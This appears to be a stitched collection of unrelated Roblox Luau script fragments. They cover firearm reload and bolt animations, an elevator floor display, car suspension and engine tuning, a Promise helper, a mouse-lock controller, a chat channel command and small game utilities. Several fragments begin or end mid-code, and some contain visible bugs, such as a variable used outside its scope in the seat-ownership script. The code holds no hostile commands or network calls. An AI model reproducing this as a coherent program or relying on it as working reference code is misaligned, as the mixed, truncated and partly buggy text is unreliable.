MagC.CFrame:toObjectSpace(objs[4].CFrame) objs[4].Transparency = 1 objs[6]:WaitForChild("MagOut"):Play() TweenJoint(objs[3], nil , CFrame.new(0.436954767, 0.654289246, -3.00337243, 0.894326091, -0.267454475, 0.358676374, -0.413143814, -0.185948789, 0.891479254, -0.171734676, -0.945458114, -0.276796043), function(X) return math.sin(math.rad(X)) end, 0.3) TweenJoint(objs[2], nil , CFrame.new(-0.630900264, 0.317047596, -1.27966166, 0.985866964, -0.167529628, -7.32295247e-09, 0.0120280236, 0.0707816631, 0.997419298, -0.16709727, -0.983322799, 0.0717963576), function(X) return math.sin(math.rad(X)) end, 0.1) wait(0.1) TweenJoint(objs[2], nil , CFrame.new(-1.11434817, 0.317047596, -0.672240019, 0.658346057, -0.747599542, -0.0876094475, 0.0672011375, -0.0575498641, 0.996078312, -0.749709547, -0.661651671, 0.0123518109), function(X) return math.sin(math.rad(X)) end, 0.3) wait(0.6) objs[6]:WaitForChild('MagIn'):Play() TweenJoint(objs[3], nil , CFrame.new(-0.273085892, 0.654289246, -1.48434556, 0.613444746, -0.780330896, 0.121527649, -0.413143814, -0.185948789, 0.891479254, -0.673050761, -0.597081661, -0.43645826), function(X) return math.sin(math.rad(X)) end, 0.3) wait(0.4) MagC:Destroy() objs[4].Transparency = 0 end; BoltBackAnim = function(char, speed, objs) TweenJoint(objs[3], nil , CFrame.new(-0.723402083, 0.561492503, -1.32277012, 0.98480773, 0.173648179, -2.07073381e-09, 0, 1.19248806e-08, 1, 0.173648179, -0.98480773, 1.17437144e-08), function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.1) TweenJoint(objs[2], nil , CFrame.new(-0.674199283, -0.379443169, -1.24877262, 0.098731339, -0.973386228, -0.206811741, -0.90958333, -0.172570169, 0.377991527, -0.403621316, 0.150792867, -0.902414143), function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.3) objs[5]:WaitForChild("BoltBack"):Play() TweenJoint(objs[2], nil , CFrame.new(-0.674199283, -0.578711689, -0.798391461, 0.098731339, -0.973386228, -0.206811741, -0.90958333, -0.172570169, 0.377991527, -0.403621316, 0.150792867, -0.902414143), function(X) return math.sin(math.rad(X)) end, 0.25) TweenJoint(objs[1], nil , CFrame.new(0, 0, 0.273770154, 1, 0, 0, 0, 1, 0, 0, 0, 1), function(X) return math.sin(math.rad(X)) end, 0.25) TweenJoint(objs[3], nil , CFrame.new(-0.723402083, 0.311225414, -1.32277012, 0.98480773, 0.173648179, -2.07073381e-09, 0.0128111057, -0.0726553723, 0.997274816, 0.173174962, -0.982123971, -0.0737762004), function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.2) end; BoltForwardAnim = function(char, speed, objs) objs[5]:WaitForChild("BoltForward"):Play() TweenJoint(objs[1], nil , CFrame.new(), function(X) return math.sin(math.rad(X)) end, 0.1) TweenJoint(objs[2], nil , CFrame.new(-0.674199283, -1.50949407, -0.798391461, 0.098731339, -0.973386228, -0.206811741, -0.90958333, -0.172570169, 0.377991527, -0.403621316, 0.150792867, -0.902414143), function(X) return math.sin(math.rad(X)) end, 0.1) TweenJoint(objs[3], nil , CFrame.new(-0.723402083, 0.653734565, -1.32277012, 0.98480773, 0.173648179, -2.07073381e-09, -0.00113785546, 0.00645311177, 0.999978542, 0.173644453, -0.98478663, 0.00655265898), function(X) return math.sin(math.rad(X)) end, 0.2) wait(0.1) end; -- Bolting Back BoltingBackAnim = function(char, speed, objs) TweenJoint(objs[1], nil , CFrame.new(0, 0, 0.273770154, 1, 0, 0, 0, 1, 0, 0, 0, 1), function(X) return math.sin(math.rad(X)) end, 0.001) end; BoltingForwardAnim = function(char, speed, objs) TweenJoint(objs[1], nil , CFrame.new(), function(X) return math.sin(math.rad(X)) end, 0.001) end; InspectAnim = function(char, speed, objs) ts:Create(objs[1],TweenInfo.new(1),{C1 = CFrame.new(0.805950999, 0.654529691, -1.92835355, 0.999723792, 0.0109803826, 0.0207702816, -0.0223077796, 0.721017241, 0.692557871, -0.00737112388, -0.692829967, 0.721063137)}):Play() ts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(-1.49363565, -0.699174881, -1.32277012, 0.66716975, -8.8829113e-09, -0.74490571, 0.651565909, -0.484672248, 0.5835706, -0.361035138, -0.874695837, -0.323358655)}):Play() wait(1) ts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(1.37424219, -0.699174881, -1.03685927, -0.204235911, 0.62879771, 0.750267386, 0.65156585, -0.484672219, 0.58357054, 0.730581641, 0.60803473, -0.310715646)}):Play() wait(1) ts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.32277012, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play() ts:Create(objs[1],TweenInfo.new(1),{C1 = CFrame.new(0.447846293, 0.654529572, -1.81345785, 0.761665463, -0.514432132, 0.393986136, -0.560285628, -0.217437655, 0.799250066, -0.325492471, -0.82950604, -0.453843832)}):Play() wait(1) local MagC = Tool:WaitForChild("Mag"):clone() MagC:FindFirstChild("Mag"):Destroy() MagC.Parent = Tool MagC.Name = "MagC" local MagCW = Instance.new("Motor6D") MagCW.Part0 = MagC MagCW.Part1 = workspace.CurrentCamera:WaitForChild("Arms"):WaitForChild("Left Arm") MagCW.Parent = MagC MagCW.C1 = MagC.CFrame:toObjectSpace(Tool:WaitForChild('Mag').CFrame) Tool.Mag.Transparency = 1 Tool:WaitForChild('Grip'):WaitForChild("MagOut"):Play() ts:Create(objs[2],TweenInfo.new(0.15),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.55972552, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play() ts:Create(objs[1],TweenInfo.new(0.3),{C1 = CFrame.new(0.447846293, 0.654529572, -2.9755671, 0.761665463, -0.514432132, 0.393986136, -0.568886042, -0.239798605, 0.786679745, -0.31021595, -0.823320091, -0.475299776)}):Play() wait(0.13) ts:Create(objs[2],TweenInfo.new(0.20),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.28149843, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play() wait(0.20) ts:Create(objs[1],TweenInfo.new(0.5),{C1 = CFrame.new(0.447846293, -0.650498748, -1.82401526, 0.761665463, -0.514432132, 0.393986136, -0.646156013, -0.55753684, 0.521185875, -0.0484529883, -0.651545882, -0.75706023)}):Play() wait(0.8) ts:Create(objs[1],TweenInfo.new(0.6),{C1 = CFrame.new(0.447846293, 0.654529572, -2.9755671, 0.761665463, -0.514432132, 0.393986136, -0.568886042, -0.239798605, 0.786679745, -0.31021595, -0.823320091, -0.475299776)}):Play() wait(0.5) Tool:WaitForChild('Grip'):WaitForChild("MagIn"):Play() ts:Create(objs[1],TweenInfo.new(0.3),{C1 = CFrame.new(0.447846293, 0.654529572, -1.81345785, 0.761665463, -0.514432132, 0.393986136, -0.560285628, -0.217437655, 0.799250066, -0.325492471, -0.82950604, -0.453843832)}):Play() wait(0.3) MagC:Destroy() Tool.Mag.Transparency = 0 wait(0.1) end; nadeReload = function(char, speed, objs) ts:Create(objs[1], TweenInfo.new(0.6), {C1 = CFrame.new(-0.902175903, -1.15645337, -1.32277012, 0.984807789, -0.163175702, -0.0593911409, 0, -0.342020363, 0.939692557, -0.17364797, -0.925416529, -0.336824328)}):Play() ts:Create(objs[2], TweenInfo.new(0.6), {C1 = CFrame.new(0.805950999, 0.654529691, -1.92835355, 0.787567914, -0.220087856, 0.575584888, -0.323594928, 0.647189975, 0.690240026, -0.524426222, -0.72986728, 0.438486755)}):Play() wait(0.6) ts:Create(objs[2], TweenInfo.new(0.6), {C1 = CFrame.new(0.805950999, 0.559619546, -1.73060048, 0.802135408, -0.348581612, 0.484839559, -0.597102284, -0.477574915, 0.644508123, 0.00688350201, -0.806481719, -0.59121877)}):Play() wait(0.6) end; AttachAnim = function(char, speed, objs) TweenJoint(objs[1], nil , CFrame.new(-2.05413628, -0.386312962, -0.955676377, 0.5, 0, -0.866025329, 0.852868497, -0.17364797, 0.492403895, -0.150383547, -0.984807789, -0.086823985), function(X) return math.sin(math.rad(X)) end, 0.25) TweenJoint(objs[2], nil , CFrame.new(0.931334019, 1.66565645, -1.2231313, 0.787567914, -0.220087856, 0.575584888, -0.0180282295, 0.925416708, 0.378521889, -0.615963817, -0.308488399, 0.724860728), function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.18) end; -- Patrol Anim PatrolAnim = function(char, speed, objs) TweenJoint(objs[1], nil , sConfig.PatrolPosR, function(X) return math.sin(math.rad(X)) end, 0.25) TweenJoint(objs[2], nil , sConfig.PatrolPosL, function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.18) end; } return Settings
---------------------------------------------------
This = script.Parent CustomLabel = require(This.Parent.Parent.Parent.CustomLabel) Characters = require(script.Characters) CustomText = CustomLabel["CUSTOMFLOORLABEL"] This.Parent.Parent.Parent:WaitForChild("Floor").Changed:connect(function(floor) --custom indicator code-- ChangeFloor(tostring(floor)) end) function ChangeFloor(SF) if CustomText[tonumber(SF)] then SF = CustomText[tonumber(SF)] end SetDisplay(1,(string.len(SF) == 2 and SF:sub(1,1) or "NIL")) SetDisplay(2,(string.len(SF) == 2 and SF:sub(2,2) or tostring(SF) == "1" and "1S" or SF)) end function SetDisplay(ID,CHAR) if This.Display:FindFirstChild("DIG"..ID) and Characters[CHAR] ~= nil then for i,l in pairs(Characters[CHAR]) do for r=1,13 do This.Display["DIG"..ID]["D"..r].Color = (l:sub(r,r) == "1" and DisplayColor or DisabledColor) This.Display["DIG"..ID]["D"..r].Material = (l:sub(r,r) == "1" and "Neon" or "Neon") end end end end
--Mobile Support--
local Buttons = script.Parent:WaitForChild("Buttons") local Left = Buttons:WaitForChild("Left") local Right = Buttons:WaitForChild("Right") local Brake = Buttons:WaitForChild("Brake") local Gas = Buttons:WaitForChild("Gas") local Handbrake = Buttons:WaitForChild("Handbrake") if UserInputService.TouchEnabled and not UserInputService.MouseEnabled then Buttons.Visible = true end local function LeftTurn(Touch, GPE) if Touch.UserInputState == Enum.UserInputState.Begin then _GSteerT = -1 _SteerL = true else if _SteerR then _GSteerT = 1 else _GSteerT = 0 end _SteerL = false end end Left.InputBegan:Connect(LeftTurn) Left.InputEnded:Connect(LeftTurn)
--[=[ Yields the current thread until the given Promise completes. Returns the Promise's status, followed by the values that the promise resolved or rejected with. @yields @return Status -- The Status representing the fate of the Promise @return ...any -- The values the Promise resolved or rejected with. ]=]
function Promise.prototype:awaitStatus() self._unhandledRejection = false if self._status == Promise.Status.Started then local bindable = Instance.new("BindableEvent") self:finally(function() bindable:Fire() end) bindable.Event:Wait() bindable:Destroy() end if self._status == Promise.Status.Resolved then return self._status, unpack(self._values, 1, self._valuesLength) elseif self._status == Promise.Status.Rejected then return self._status, unpack(self._values, 1, self._valuesLength) end return self._status end local function awaitHelper(status, ...) return status == Promise.Status.Resolved, ... end
--[[Susupension]]
Tune.SusEnabled = false -- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled --Front Suspension Tune.FSusDamping = 500 -- Spring Dampening Tune.FSusStiffness = 9000 -- Spring Force Tune.FSusLength = 2 -- Suspension length (in studs) Tune.FSusMaxExt = .3 -- Max Extension Travel (in studs) Tune.FSusMaxComp = .1 -- Max Compression Travel (in studs) Tune.FSusAngle = 80 -- Suspension Angle (degrees from horizontal) Tune.FWsBoneLen = 5 -- Wishbone Length Tune.FWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal) Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.4 , -- positive = outward --[[Vertical]] -.5 , -- positive = upward --[[Forward]] 0 } -- positive = forward --Rear Suspension Tune.RSusDamping = 500 -- Spring Dampening Tune.RSusStiffness = 9000 -- Spring Force Tune.RSusLength = 2 -- Suspension length (in studs) Tune.RSusMaxExt = .3 -- Max Extension Travel (in studs) Tune.RSusMaxComp = .1 -- Max Compression Travel (in studs) Tune.RSusAngle = 80 -- Suspension Angle (degrees from horizontal) Tune.RWsBoneLen = 5 -- Wishbone Length Tune.RWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal) Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.4 , -- positive = outward --[[Vertical]] -.5 , -- positive = upward --[[Forward]] 0 } -- positive = forward --Aesthetics Tune.SusVisible = true -- Spring Visible Tune.WsBVisible = false -- Wishbone Visible Tune.SusRadius = .2 -- Suspension Coil Radius Tune.SusThickness = .1 -- Suspension Coil Thickness Tune.SusColor = "Really black" -- Suspension Color [BrickColor] Tune.SusCoilCount = 6 -- Suspension Coil Count Tune.WsColor = "Black" -- Wishbone Color [BrickColor] Tune.WsThickness = .1 -- Wishbone Rod Thickness
-- Runs to modify the player after they've gotten an upgrade
function UpgradeManager:SetWalkspeedToCurrentUpgrade(player) local stats = player:WaitForChild("stats") local playerUpgrades = stats:WaitForChild(GameSettings.upgradeName) local points = stats:WaitForChild(GameSettings.pointsName) --Change the players movement speed local character = player.Character or player.CharacterAdded:wait() local humanoid = character:WaitForChild("Humanoid") humanoid.WalkSpeed = GameSettings.movementSpeed(playerUpgrades.Value) end
--[[ The Module ]]
-- local MouseLockController = {} MouseLockController.__index = MouseLockController local Player = game.Players.LocalPlayer local Character = Player.Character or Player.CharacterAdded:Wait() function MouseLockController.new() local self = setmetatable({}, MouseLockController) self.isMouseLocked = false self.savedMouseCursor = nil self.boundKeys = {Enum.KeyCode.LeftControl} -- defaults self.mouseLockToggledEvent = Instance.new("BindableEvent") local boundKeysObj: StringValue = script:FindFirstChild("BoundKeys") :: StringValue if (not boundKeysObj) or (not boundKeysObj:IsA("StringValue")) then -- If object with correct name was found, but it's not a StringValue, destroy and replace if boundKeysObj then boundKeysObj:Destroy() end boundKeysObj = Instance.new("StringValue") boundKeysObj.Name = "BoundKeys" boundKeysObj.Value = "LeftShift,RightShift" boundKeysObj.Parent = script end if boundKeysObj then boundKeysObj.Changed:Connect(function(value) self:OnBoundKeysObjectChanged(value) end) self:OnBoundKeysObjectChanged(boundKeysObj.Value) -- Initial setup call end -- Watch for changes to user's ControlMode and ComputerMovementMode settings and update the feature availability accordingly GameSettings.Changed:Connect(function(property) if property == "ControlMode" or property == "ComputerMovementMode" then self:UpdateMouseLockAvailability() end end) -- Watch for changes to DevEnableMouseLock and update the feature availability accordingly PlayersService.LocalPlayer:GetPropertyChangedSignal("DevEnableMouseLock"):Connect(function() self:UpdateMouseLockAvailability() end) -- Watch for changes to DevEnableMouseLock and update the feature availability accordingly PlayersService.LocalPlayer:GetPropertyChangedSignal("DevComputerMovementMode"):Connect(function() self:UpdateMouseLockAvailability() end) self:UpdateMouseLockAvailability() return self end function MouseLockController:GetIsMouseLocked() return self.isMouseLocked end function MouseLockController:GetBindableToggleEvent() return self.mouseLockToggledEvent.Event end function MouseLockController:GetMouseLockOffset() local offsetValueObj: Vector3Value = script:FindFirstChild("CameraOffset") :: Vector3Value if offsetValueObj and offsetValueObj:IsA("Vector3Value") then return offsetValueObj.Value else -- If CameraOffset object was found but not correct type, destroy if offsetValueObj then offsetValueObj:Destroy() end offsetValueObj = Instance.new("Vector3Value") offsetValueObj.Name = "CameraOffset" offsetValueObj.Value = Vector3.new(1.75,0,0) -- Legacy Default Value offsetValueObj.Parent = script end if offsetValueObj and offsetValueObj.Value then return offsetValueObj.Value end return Vector3.new(1.75,0,0) end function MouseLockController:UpdateMouseLockAvailability() local devAllowsMouseLock = PlayersService.LocalPlayer.DevEnableMouseLock local devMovementModeIsScriptable = PlayersService.LocalPlayer.DevComputerMovementMode == Enum.DevComputerMovementMode.Scriptable local userHasMouseLockModeEnabled = GameSettings.ControlMode == Enum.ControlMode.MouseLockSwitch local userHasClickToMoveEnabled = GameSettings.ComputerMovementMode == Enum.ComputerMovementMode.ClickToMove local MouseLockAvailable = devAllowsMouseLock and userHasMouseLockModeEnabled and not userHasClickToMoveEnabled and not devMovementModeIsScriptable if MouseLockAvailable~=self.enabled then self:EnableMouseLock(MouseLockAvailable) end end function MouseLockController:OnBoundKeysObjectChanged(newValue: string) self.boundKeys = {} -- Overriding defaults, note: possibly with nothing at all if boundKeysObj.Value is "" or contains invalid values for token in string.gmatch(newValue,"[^%s,]+") do for _, keyEnum in pairs(Enum.KeyCode:GetEnumItems()) do if token == keyEnum.Name then self.boundKeys[#self.boundKeys+1] = keyEnum :: Enum.KeyCode break end end end self:UnbindContextActions() self:BindContextActions() end
--Give panel on login/respawn
game.Players.PlayerAdded:connect(function(player) player.CharacterAdded:connect(function(character) wait() local player = game.Players:GetPlayerFromCharacter(character) givePanel(player) end) end)
--[[ Note to self replace this with a general function in the main server later ]]
wait(1); local TS = game.TweenService; local R = Random.new(tick()*os.time()); local OnTime = {5,10}; local WaitTime = {5,10}; -- Time between turning on local N = script.Parent.Parent.Neon; local A = script.Parent; function Start () N.A1.A.Enabled = true; A.Alarm:Play(); N.A1.Light.Enabled = true; wait(2); N.A1.Glow.Enabled = true; wait(1); A.Alarm:Stop(); A.Start:Play(); N.A4.Smoke.Enabled = true; spawn(function () wait(3.0); A.Mid:Play(); end); wait(1.5); N.A1.BLaser1.Enabled = true; N.A1.BLaser2.Enabled = true; for i, child in pairs(N.A3:GetChildren()) do child.Enabled = true; end end function Spin () end function Update () -- Spin end function End () A.Alarm:Play(); A.End:Play(); wait(0.2); A.Mid:Stop(); wait(0.5); A.Alarm:Stop(); N.A1.Light.Enabled = false; N.A4.Smoke.Enabled = false; N.A1.A.Enabled = false; N.A1.Glow.Enabled = false; N.A1.BLaser1.Enabled = false; N.A1.BLaser2.Enabled = false; for i, child in pairs(N.A3:GetChildren()) do child.Enabled = false; end end wait(4); while true do local Total = R:NextNumber(OnTime[1], OnTime[2]); Start (); for i = 0, Total, 1 do Update(); wait(1); end End(); wait(R:NextNumber(WaitTime[1], WaitTime[2])); end
--[=[ Same as [Rx.of] but wraps it in a Brio. @param ... T @return Observable<Brio<T>> ]=]
function RxBrioUtils.of(...) return Rx.of(...):Pipe({ RxBrioUtils.toBrio() }) end
--!strict
type Object = { [string]: any } type Array<T> = { [number]: T } local function freeze<T>(t: T & (Object | Array<any>)): T -- Luau FIXME: model freeze better so it passes through the type constraint and doesn't erase return (table.freeze(t) :: any) :: T end return freeze
--local GENERATION_SEED = math.random(1266073872) -- Seed for determining the main height map of the terrain.
local rnd = Random.new(os.time())-- мой Id 1266073872 local GENERATION_SEED = rnd:NextNumber() -- Seed for determining the main height map of the terrain. local RADIUS = game.Workspace.Village.Radius.Value/2/CHUNK_SCALE -- CHUNK_SCALE*5 -- радиус деревни local R_SCALE = 3 -- растояние пологости от деревни в её радиусах
-- Represents a FastCastBehavior :: https://etithespirit.github.io/FastCastAPIDocs/fastcast-objects/fcbehavior/
export type FastCastBehavior = { RaycastParams: RaycastParams?, TravelType: string, MaxDistance: number, Lifetime: number, Acceleration: Vector3, HighFidelityBehavior: number, HighFidelitySegmentSize: number, CosmeticBulletTemplate: Instance?, CosmeticBulletProvider: any, -- Intended to be a PartCache. Dictated via TypeMarshaller. CosmeticBulletContainer: Instance?, RaycastHitbox: GenericTable, CurrentCFrame: CFrame, ModifiedDirection: Vector3, AutoIgnoreContainer: boolean, HitEventOnTermination: boolean, Hitscan: boolean, CanPenetrateFunction: CanPenetrateFunction, CanHitFunction: CanHitFunction, }
-- ROBLOX FIXME: Can we define ClientChatModules statically in the project config
pcall(function() ChatLocalization = require((game:GetService("Chat") :: any).ClientChatModules.ChatLocalization :: any) end) if ChatLocalization == nil then ChatLocalization = { Get = function(self, key, default) return default end } end function ProcessMessage(message, ChatWindow, ChatSettings) if string.sub(message, 1, 3):lower() ~= "/c " then return false end local channelName = string.sub(message, 4) local targetChannel = ChatWindow:GetChannel(channelName) if targetChannel then ChatWindow:SwitchCurrentChannel(channelName) if not ChatSettings.ShowChannelsBar then local currentChannel = ChatWindow:GetCurrentChannel() if currentChannel then util:SendSystemMessageToSelf( string.gsub(ChatLocalization:Get( "GameChat_SwitchChannel_NowInChannel", string.format("You are now chatting in channel: '%s'", channelName), {RBX_NAME = channelName} ),"{RBX_NAME}",channelName), targetChannel, {} ) end end else local currentChannel = ChatWindow:GetCurrentChannel() if currentChannel then util:SendSystemMessageToSelf( string.gsub(ChatLocalization:Get( "GameChat_SwitchChannel_NotInChannel", string.format("You are not in channel: '%s'", channelName), {RBX_NAME = channelName} ),"{RBX_NAME}",channelName), currentChannel, {ChatColor = Color3.fromRGB(245, 50, 50)} ) end end return true end return { [util.KEY_COMMAND_PROCESSOR_TYPE] = util.COMPLETED_MESSAGE_PROCESSOR, [util.KEY_PROCESSOR_FUNCTION] = ProcessMessage }
-- ANimation
local Sound = script:WaitForChild("Haoshoku Sound") UIS.InputBegan:Connect(function(Input) if Input.KeyCode == Enum.KeyCode.C and Debounce == 1 and Tool.Equip.Value == true and Tool.Active.Value == "None" then Debounce = 2 Track1 = plr.Character.Humanoid:LoadAnimation(script.AnimationCharge) Track1:Play() script.RemoteEventS:FireServer() for i = 1,math.huge do if Debounce == 2 then plr.Character.HumanoidRootPart.Anchored = true else break end wait() end end end) UIS.InputEnded:Connect(function(Input) if Input.KeyCode == Enum.KeyCode.C and Debounce == 2 and Tool.Equip.Value == true and Tool.Active.Value == "None" then Debounce = 3 local Track2 = plr.Character.Humanoid:LoadAnimation(script.AnimationRelease) Track2:Play() Track1:Stop() Sound:Play() local mousepos = Mouse.Hit script.RemoteEvent:FireServer(mousepos,Mouse.Hit.p) wait(1) plr.Character.LeftHand.EFhand:Destroy() plr.Character.RightHand.EFhand:Destroy() Track2:Stop() wait(.5) Tool.Active.Value = "None" wait(1.5) plr.Character.HumanoidRootPart.Anchored = false wait(5) Debounce = 1 end end)
----------------------------------------DONT EDIT BELOW------------------------------------------------------------------------------
Color=BrickColor.new(TeamColor) on=false s=script.Parent ss=script.Parent:clone() s.BrickColor=Color function Check(hit) if on then return end if hit==nil then return end local player=game.Players:FindFirstChild(hit.Parent.Name) if player==nil then return end on=true if player.TeamColor==Color then s.Transparency=0.6 s.CanCollide=false wait(Time) s.Transparency=ss.Transparency s.CanCollide=true else local h=player.Character:FindFirstChild("Humanoid") local t=player.Character:FindFirstChild("Torso") if t==nil or h==nil then s.CanCollide=true s.Transparency=ss.Transparency on=false return end if AntiHack==1 then h.Sit=true t.Velocity=t.CFrame:inverse().lookVector*80 elseif AntiHack==2 then h.Health=0 elseif AntiHack==0 then else hit.Parent=nil end end on=false end s.Touched:connect(Check)
---Model By: Midnight Productions
location = script.Parent.Parent.Parent regen = script.Parent.Parent save = regen:clone() function onClicked() regen:remove() wait(.2) local back = save:clone() back.Parent = location back:MakeJoints() end script.Parent.ClickDetector.MouseClick:connect(onClicked)
-- Compiled with roblox-ts v1.3.3 --[[ * * Set a variable's type to a new case of the same variant. * @param obj object of concern. * @param _type new type tag. Restricted to keys of the variant. * @param _typeKey discriminant key. ]]
local function cast(obj, _type, _typeKey) return obj end return { cast = cast, }
--- Recalculate the window height
function Window:UpdateWindowHeight() local windowHeight = Gui.UIListLayout.AbsoluteContentSize.Y + Gui.UIPadding.PaddingTop.Offset + Gui.UIPadding.PaddingBottom.Offset Gui.Size = UDim2.new(Gui.Size.X.Scale, Gui.Size.X.Offset, 0, math.clamp(windowHeight, 0, WINDOW_MAX_HEIGHT)) Gui.CanvasPosition = Vector2.new(0, windowHeight) end
--script.Parent.WaterUp.Disabled = false
wait(0.3)
--[=[ @param obj any @return boolean Returns `true` if `obj` is an Option. ]=]
function Option.Is(obj) return type(obj) == "table" and getmetatable(obj) == Option end
-- Print that runs only if debug mode is active.
local function PrintDebug(message: string) if FastCast.DebugLogging == true then print(message) end end
--
local function re_index(self, index) return re_m[index] or proxy[self].flags[index]; end; local function re_tostr(self) return proxy[self].pattern_repr .. proxy[self].flag_repr; end;
-- ALEX WAS HERE LOL
local u1 = nil; coroutine.wrap(function() u1 = require(game.ReplicatedStorage:WaitForChild("Resources")); end)(); local v1 = Random.new(); return function() return string.gsub(u1.HttpService:GenerateGUID(false), "-", ""); end;
--Don't worry about the rest of the code, except for line 25.
game.Players.PlayerAdded:connect(function(player) local leader = Instance.new("Folder",player) leader.Name = "Skins" local Cash = Instance.new("StringValue",leader) Cash.Name = stat Cash.Value = ds:GetAsync(player.UserId) or startamount ds:SetAsync(player.UserId, Cash.Value) Cash.Changed:connect(function() ds:SetAsync(player.UserId, Cash.Value) end) end) game.Players.PlayerRemoving:connect(function(player) ds:SetAsync(player.UserId, player.Skins.Equipped.Value) --Change "Points" to the name of your leaderstat. end)
-- made by Weeve. for all of you lamo scripters out there, can you at least leave my name here? -- don't edit anything here
seat = script.Parent function onChildAdded(part) if (part.className == "Weld") then while true do local welde = seat:FindFirstChild("SeatWeld") if (welde ~= nil) then local sitted = welde.Part1.Parent end if (sitted.Name ~= script.Parent.Owner.Value) then if (script.Parent.Owner.Value == "NoOne") then script.Parent.Owner.Value = sitted.Name print ("sitted steal") else print ("stolen!!") local shipstealer = game.Workspace:FindFirstChild(sitted.Name) if (shipstealer ~= nil) then shipstealer.Humanoid.Jump=true end end end wait(0.2) if (welde == nil) then print("BreakLoop") script.Parent.Owner.Value = "NoOne" break end end end end
-- Hover Sound
local Hovered = false script.Parent.MouseEnter:Connect(function() if Hovered == false then Hovered = true script.HoverSound:Play() end end) script.Parent.MouseLeave:Connect(function() if Hovered == true then Hovered = false end end)
----------------------------------------------------------------------------------------------------------------
function GunUp() Holstered = false Tool.Enabled = true torso = Tool.Parent:FindFirstChild("Torso") if torso ~= nil then torso.weld1.C1 = CFrame.new(-.1, 1.25, .6) * CFrame.fromEulerAnglesXYZ(math.rad(290), math.rad(10), math.rad(-90)) torso.weld2.C1 = CFrame.new(-1, -0.2, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15), 0) end end function GunDown() Holstered = true Tool.Enabled = false -- You don't want to be shooting if your not aiming torso = Tool.Parent:FindFirstChild("Torso") if torso ~= nil then torso.weld1.C1 = CFrame.new(-.1, 1.25, .6) * CFrame.fromEulerAnglesXYZ(math.rad(280), math.rad(-10), math.rad(-80)) torso.weld2.C1 = CFrame.new(-1, -0.2, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-70), math.rad(-25), math.rad(0)) end end
--//Server Animations
RightHighReady = CFrame.new(-1, -1, -1.25) * CFrame.Angles(math.rad(-160), math.rad(0), math.rad(0)); LeftHighReady = CFrame.new(.85,-0.35,-1.15) * CFrame.Angles(math.rad(-170),math.rad(60),math.rad(15)); RightLowReady = CFrame.new(-1, 0.5, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0)); LeftLowReady = CFrame.new(1.25,1.15,-1.35) * CFrame.Angles(math.rad(-60),math.rad(35),math.rad(-25)); RightPatrol = CFrame.new(-1, -.35, -1.5) * CFrame.Angles(math.rad(-80), math.rad(-80), math.rad(0)); LeftPatrol = CFrame.new(1,1.25,-.75) * CFrame.Angles(math.rad(-90),math.rad(-45),math.rad(-25)); RightAim = CFrame.new(-.575, 0.1, -1) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0)); LeftAim = CFrame.new(1.4,0.25,-1.45) * CFrame.Angles(math.rad(-120),math.rad(35),math.rad(-25)); RightSprint = CFrame.new(-1, 0.5, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0)); LeftSprint = CFrame.new(1.25,1.15,-1.35) * CFrame.Angles(math.rad(-60),math.rad(35),math.rad(-25)); ShootPos = CFrame.new(0,0,.25); } return module
--!strict
local BloxbizSDK = script.Parent.Parent.Parent.Parent local UtilsStorage = BloxbizSDK:FindFirstChild("Utils") local Fusion = require(UtilsStorage:WaitForChild("Fusion")) return function(radius: number?): Instance return Fusion.New("UICorner")({ CornerRadius = UDim.new(0, radius or 16), }) end
-- Table containing player data
local sessionData = {} local NEW_PLAYER_DATA = { Points = GameSettings.startPoints, Upgrades = GameSettings.startUpgrades, TotalPoints = GameSettings.startPoints, RedeemedCodes = {}, }
-- When a player with the game pass touches the door, teleport them to the other side
local function OnTouched(otherPart) if otherPart and otherPart.Parent and otherPart.Parent:FindFirstChild('Humanoid') then local player = PlayersService:GetPlayerFromCharacter(otherPart.Parent) if player and not JustTouched[player] then JustTouched[player] = time() if GamePassService:PlayerHasPass(player, GamePassIdObject.Value) then TeleportToOtherSide(player.Character, otherPart) end end end end
--[[Engine]]
--Torque Curve Tune.Horsepower = 500 -- [TORQUE CURVE VISUAL] Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 6000 -- Use sliders to manipulate values Tune.Redline = 6700 -- Copy and paste slider values into the respective tune values Tune.EqPoint = 5500 Tune.PeakSharpness = 7.5 Tune.CurveMult = 0.16 --Incline Compensation Tune.InclineComp = 4.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Misc Tune.RevAccel = 150 -- RPM acceleration when clutch is off Tune.RevDecay = 75 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
--!strict
local Types = require(script.Parent.Parent.Parent.Types) return function(player: Player): Types.PlayerContainer return { kind = "single", value = player } end
--First build your Gun, make sure all the parts and Non-Colliding and Not Anchored. --Second put these parts inside the Tool (Call one of the parts 'Handle' and the rest 'Part' --Lastly, make/get your gun script and test it out!
